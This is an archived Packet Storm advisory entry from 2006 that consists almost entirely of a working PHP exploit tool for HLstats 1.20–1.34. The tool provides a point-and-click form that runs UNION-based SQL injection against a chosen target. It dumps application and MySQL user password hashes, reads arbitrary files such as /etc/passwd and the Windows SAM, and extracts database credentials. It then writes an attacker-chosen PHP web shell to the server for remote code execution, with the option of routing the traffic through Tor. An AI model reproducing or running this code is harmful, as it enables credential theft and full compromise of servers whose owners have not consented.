hlstats-sql.txt

2006-12-28T00:00:00
ID PACKETSTORM:53285
Type packetstorm
Reporter Michael Brooks
Modified 2006-12-28T00:00:00

Description

                                        
                                            `Hlstats is more than 5 years old. HLstats has been downloaded more than 270,000 from http://sf.net. Nothing more than absolutely benign XSS has been reported for this application, until NOW.   
  
Merry Christmass,  
--Michael Brooks   
  
Homepage:  
http://sourceforge.net/projects/hlstats/  
  
-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
<br><b>  
<?php  
/*  
Live Exploit Code  
SQL Inection + Path Disclosure  
Affects HLStats HLStats <=1.34 and Hlstats >= 1.20  
works with magic_quotes_gpc=On  
by Michael Brooks  
*/  
  
print "<title>HLStats SQL Injection Exploit</title>  
<body bgcolor='#009900'>  
<font color='#FF0000'>  
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>  
<center><b> <br>  
Welcome To HLstats Exploit code.<br><br>  
</b></center>   
<br>   
SQL Inection + Path Disclosure<br>  
Affects Hlstats >= 1.20 to HLStats <=1.34(current)<br>  
Tested on Linux and Windows<br>  
works with magic_quotes_gpc=On!<br>  
HLStats has gone though 5 years with no exploits so this is a Birthday Present!<br>  
Merry Christmass!<br>  
By Michael Brooks<br>  
<br>  
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>  
";  
  
print "  
<form action='".$_SERVER['PHP_SELF']."' method='post'>  
<b>Target:</b><br>  
<input type='text' name='target' size=32><br>  
(hint: where the login form is. example: http://domain.com/path/hlstats.php )<br>  
<br><b>Proxy:</b>(ip:port or name:pass@ip:port)<br>  
<input type='text' name='proxy' size=32><br>  
(example: 127.0.0.1:8118 Use <a href='http://tor.eff.org'>Tor</a>+<a href='http://www.privoxy.org/'>Privoxy</a>. )<br>  
<br><br>  
If nothing is changed below this line then the exploit will attempt to get the database login information in plain text.  
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>  
<H1>ATTACKS:</H1>  
<br>  
<b>Database Selects:</b><br>  
<br>  
OBTIAN HLStats logins:<br>  
<input type='submit' name='button' value='HLStats_Logins'>(Passwords are stored as MD5 hashs, use: <a href='http://www.milw0rm.com/cracker/insert.php'>Milw0rm's MD5 Cracker</a>)<br>  
  
OBTIAN mysql.user logins:<br>  
<input type='submit' name='button' value='Mysql_Logins'><br>  
<br>  
  
<br>  
<b>File IO:</b><br><br>  
<b>Path Disclosure</b><br>  
<input type='submit' name='button' value='Path'><br>  
<br>  
<b>Plain Text Database Login Information</b><br>  
<input type='submit' name='button' value='Read_Login'>  
(This will attempt to read the configuration file for hlstats and dump the PLAIN TEXT database login information.)<br>  
<br>  
<b>Read Other File</b><br>  
<input type='submit' name='button' value='Read_File'>  
<input type='text' name='read_file' size=50>  
<br>example: /etc/passwd<br>  
OR for windows based systems: C:\\\\WINDOWS\\\\repair\\\\sam<br>  
<br><b>attempt payload:</b>(WARNING, NO PROXY IS USED FOR UPLOADING PAYLOAD)<br>  
<input type='submit' name='button' value='Upload'>  
&lt?php <input type='text' name='payload' size=50>?&gt <br>  
example: system('netstat'); <br>  
  
</form>  
<br><b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br>  
";  
  
//generic http class  
class http{  
var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='';  
  
function http_gpc_send($loc ,$cookie="", $postdata = "") {   
//overload function polymorphism between gets and posts  
$url=parse_url($loc);  
if(!isset($url['port'])){  
$url['port']=80;  
}  
//$ua=$_SERVER['HTTP_USER_AGENT'];  
$ua='GPC/.01';  
if($this->proxy_ip!=''&&$this->proxy_port!=''){  
$fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 );  
$url['path']=$url['host'].':'.$url['port'].$url['path'];  
}else{  
$fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 );  
}  
  
if( !$fp ) {  
print "$errstr ($errno)<br>\nn";  
} else {  
if( $postdata=='' ) {  
fputs( $fp, "GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n" );  
} else {  
fputs( $fp, "POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n" );  
}  
  
if($this->proxy_name!=''&&$this->proxy_pass!=''){  
fputs($fp, "Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n");  
}  
  
fputs($fp, "Host: ".$url['host'].":".$url['port']."\r\n");  
fputs( $fp, "User-Agent: ".$ua."\r\n" );  
fputs( $fp, "Accept: text/plain\r\n" );  
fputs( $fp,"Connection: Close\r\n" );  
if($cookie!=''){   
fputs( $fp, "Cookie: ".$cookie."\r\n" );  
}  
if( $postdata!='' ) {  
$strlength = strlen( $postdata );  
fputs( $fp, "Content-type: application/x-www-form-urlencoded\r\n" );  
fputs( $fp, "Content-length: ".$strlength."\r\n\r\n" );  
fputs( $fp, $postdata);  
}  
fputs( $fp, "\n\n" );  
  
$output = "";  
while( !feof( $fp ) ) {  
$output .= fgets( $fp, 1024 );  
}  
fclose( $fp );  
}  
return $output;  
}  
  
function proxy($proxy){ //user:pass@ip:port  
$proxyAuth=explode('@',$proxy);  
if(isset($proxyAuth[1])){  
$login=explode(':',$proxyAuth[0]);  
$this->proxy_name=$login[0];  
$this->proxy_pass=$login[1];  
  
$addr=explode(':',$proxyAuth[1]);  
$this->proxy_ip=$addr[0];  
$this->proxy_port=$addr[1];  
}else{  
$addr=explode(':',$proxy);  
$this->proxy_ip=$addr[0];  
$this->proxy_port=$addr[1];  
}  
}  
  
function get($url, $cookie=''){  
return $this->http_gpc_send($url, $cookie);  
}  
  
function post($url, $cookie='', $post=''){  
return $this->http_gpc_send($url,$cookie,$post);  
}  
  
function getServer($url){  
$resp=$this->http_gpc_send($url);  
$header=explode("Server: ",$resp);  
$server=explode("\n",$header[1]);  
return $server[0];  
}  
}  
  
//reuseable functions  
function getPath($html){  
$path='';  
$resp=explode("array given in <b>",$html);  
if(isset($resp[1])){  
$resp = explode("</b>",$resp[1]);  
}else{  
$resp[0]=false;  
}  
return $resp[0];  
}  
  
function charEncode($string){  
$char="char(";  
$size=strlen($string);  
for($x=0;$x<$size;$x++){  
$char.=ord($string[$x]).", ";  
}  
$char[strlen($char)-2]=')%00';  
return $char;  
}  
  
function hex_encode($my_string)  
{  
$encoded="0x";  
for ($k=0; $k<=strlen($my_string)-1; $k++)  
{$temp=dechex(ord($my_string[$k]));  
if (strlen($temp)==1) {$temp="0".$temp;}  
$encoded.=$temp;  
}  
return $encoded;  
}   
  
  
//hlstats specific functions  
function hl_get_sql($resp){  
//print htmlspecialchars($resp);  
$tmp=explode('<table ',$resp);  
array_pop($tmp);  
$last=array_pop($tmp);  
$tbl=explode('</table>',$last);  
$table=$tbl[0];//ITS MY TABLE NOW!  
if(strstr($table,'Victim')&&strstr($table,'Times Killed')){  
$table=str_replace('border=0','border=1',$table);  
$table=str_replace('#002E8A','#000000',$table);  
$table=str_replace('#15154D','#CCCCCC',$table);  
$table=str_replace('#161652','#CCCCCC',$table);  
$table='<table '.$table.'</table>';  
}else{  
$table=false;  
}  
return $table;  
}  
  
function get_logins($addr){  
$http=new http();  
$data='';  
$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");  
$path=getPath($resp);  
$readfile=hex_encode($path);  
$pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20--%20";  
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);  
  
$tmp=explode("define("DB_NAME", "",$resp);  
$tmp=explode(""",$tmp[1]);  
$data[db]=$tmp[0];  
  
$tmp=explode("define("DB_USER", "",$resp);  
$tmp=explode(""",$tmp[1]);  
$data[name]=$tmp[0];  
  
$tmp=explode("define("DB_PASS", "",$resp);  
$tmp=explode(""",$tmp[1]);  
$data[pass]=$tmp[0];  
  
$tmp=explode("define("DB_ADDR", "",$resp);  
$tmp=explode(""",$tmp[1]);  
$data[addr]=$tmp[0];  
  
$tmp=explode("define("DB_TYPE", "",$resp);  
$tmp=explode(""",$tmp[1]);  
$data[type]=$tmp[0];  
  
return $data;  
}  
  
//The table prefix is needed to union select the hlstats logins  
function get_prefix($attack){  
$prefix=false;  
$http=new http();  
//hex_encode is used instead of quote marks  
$payload="killLimit=1000%20union%20select%20TABLE_NAME,TABLE_SCHEMA,1,1,1%20from%20information_schema.TABLES%20WHERE%20TABLE_NAME%20LIKE%20".hex_encode("%events_playerplayeractions")."%23";  
$resp=$http->post($attack."?mode=playerinfo&player=1",'',$payload);  
$mid=explode('events_playerplayeractions',$resp);  
if(is_array($mid)){  
foreach($mid as $m){  
$pre= explode('>',$m);  
$fix=array_pop($pre);  
if(is_array($prefix)){  
if(!in_array($fix,$prefix)){  
$prefix[]=trim($fix);  
}  
}else if($prefix!=$fix){  
print($fix);  
$prefix[]=trim($fix);  
}  
}  
if(is_array($prefix)){  
$v=array_pop($prefix);  
if(trim($v)!='0'){//damn that zero!!  
array_push($prefix,$v);  
}  
}  
}else{  
$prefix=false;  
}  
return($prefix);  
}  
  
if(isset($_REQUEST['target'])&&$_REQUEST['target']!=''){  
//this exploit can take its sweet time.   
set_time_limit(0);  
$http=new http();  
$addr=explode('?',$_REQUEST['target']);  
$addr=$addr[0];  
if(isset($_REQUEST['proxy'])){  
$http->proxy($_REQUEST['proxy']);  
}   
  
switch($_REQUEST['button']){  
case 'HLStats_Logins':  
$table=false;  
$prefix=get_prefix($addr);  
//print_r($prefix);  
foreach($prefix as $pre){  
if(!$table){  
print "trying table prefix:$pre<br>";  
//no comments are used in this payload, instead a second union select is used to finnish the query.  
$pay="killLimit=1000%20union%20select%20username,password,acclevel,1,playerId%20from%20".$pre."Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20".$pre."Players%20WHERE%201=0";  
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);  
$table=hl_get_sql($resp);//   
}  
}  
if(!$table&&@!in_array('hlstats_',$prefix)){//ooah no the exploit has failed so far.   
$pre="hlstats_";//try the default prefix  
print "trying table prefix:$pre<br>";  
$pay="killLimit=1000%20union%20select%20username,password,acclevel,1,playerId%20from%20".$pre."Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20".$pre."Players%20WHERE%201=0";  
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);  
$table=hl_get_sql($resp);//   
}  
if($table){  
$table=str_replace('Victim','username',$table);  
$table=str_replace('Kills per Death','playerId',$table);  
$table=str_replace('Deaths by','acclevel',$table);  
$table=str_replace('Times Killed','password',$table);  
$table=str_replace('Rank','Count',$table);  
print "<br>$table";  
}  
break;  
case 'Mysql_Logins':  
//a comment is used so the table prefix doesn't have to be known; this is simpler, less to go wrong.   
$pay="killLimit=1000%20union%20select%20user,password,File_priv,1,Host%20%20from%20mysql.user%20--%20";  
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);  
$table=hl_get_sql($resp);  
$table=str_replace('Victim','User',$table);  
$table=str_replace('Kills per Death','Host',$table);  
$table=str_replace('Deaths by','File_priv',$table);  
$table=str_replace('Times Killed','Password',$table);  
$table=str_replace('Rank','Count',$table);  
print "<br>$table";  
break;  
case 'Read_File':  
$readfile=hex_encode($_REQUEST[read_file]);  
$pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20--%20";  
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);   
$tmp=explode('alt="player.gif"><b>',$resp);  
$data=explode("</font>",$tmp[1]);  
$data=$data[0];  
//this might be a bad thing:  
$data=preg_replace('<br />','',$data);  
print 'data'.$data;   
break;  
case 'Path':  
$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");  
$path=getPath($resp );  
print "Path Disclosure:$path<br>";  
break;   
case 'Read_Login':  
$data=get_logins($addr);  
foreach($data as $var=>$val){  
$tmp=explode('&quot',$val);  
$data[$var]=$tmp[0];  
print "<br>".$var.":".$tmp[0];  
}   
break;  
case 'Upload':  
$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");  
$path=getPath($resp );  
$data=get_logins($addr);  
print $path."<br>";  
$tar=explode('/',$_REQUEST['target']);  
$paylink=$tar;  
array_pop($paylink);  
$paylink=implode('/',$paylink);  
if(strstr($path,':')){//if windows  
print "Windows Sytem<br>";  
$temp=explode('\\',$path);  
}else{//else *nix  
print "*nix System<br>";  
$temp=explode('/',$path);  
}  
array_pop($temp);  
$path=implode('/',$temp);  
mysql_connect($tar[2],$data[name],$data[pass]) or die(mysql_error());  
$name="data".rand();//rand is used so that this attack can be run multiple times.  
$sql="SELECT '<?php ".$_REQUEST[payload]."?>' INTO OUTFILE '$path/$name.php'";  
print "<br><a href='$paylink/$name.php'><b> Execute Payload </b></a>";  
mysql_query($sql) or die(mysql_error());  
break;  
default:  
print 'No Attack!';  
break;  
}  
}else{  
Print "No Target.";  
}  
?><br>--------------------------------------------------------------------------------------------------------------------------------------------><br>  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.6 (MingW32)  
  
iD8DBQFFi1enhyEDRgETX6IRApvuAJ916+e3HP25HVSaCASKLXdLTTpMRQCfVb5X  
B1g0mZ8NVwQ6J7L8J0ge8Ak=  
=iZt1  
-----END PGP SIGNATURE-----  
`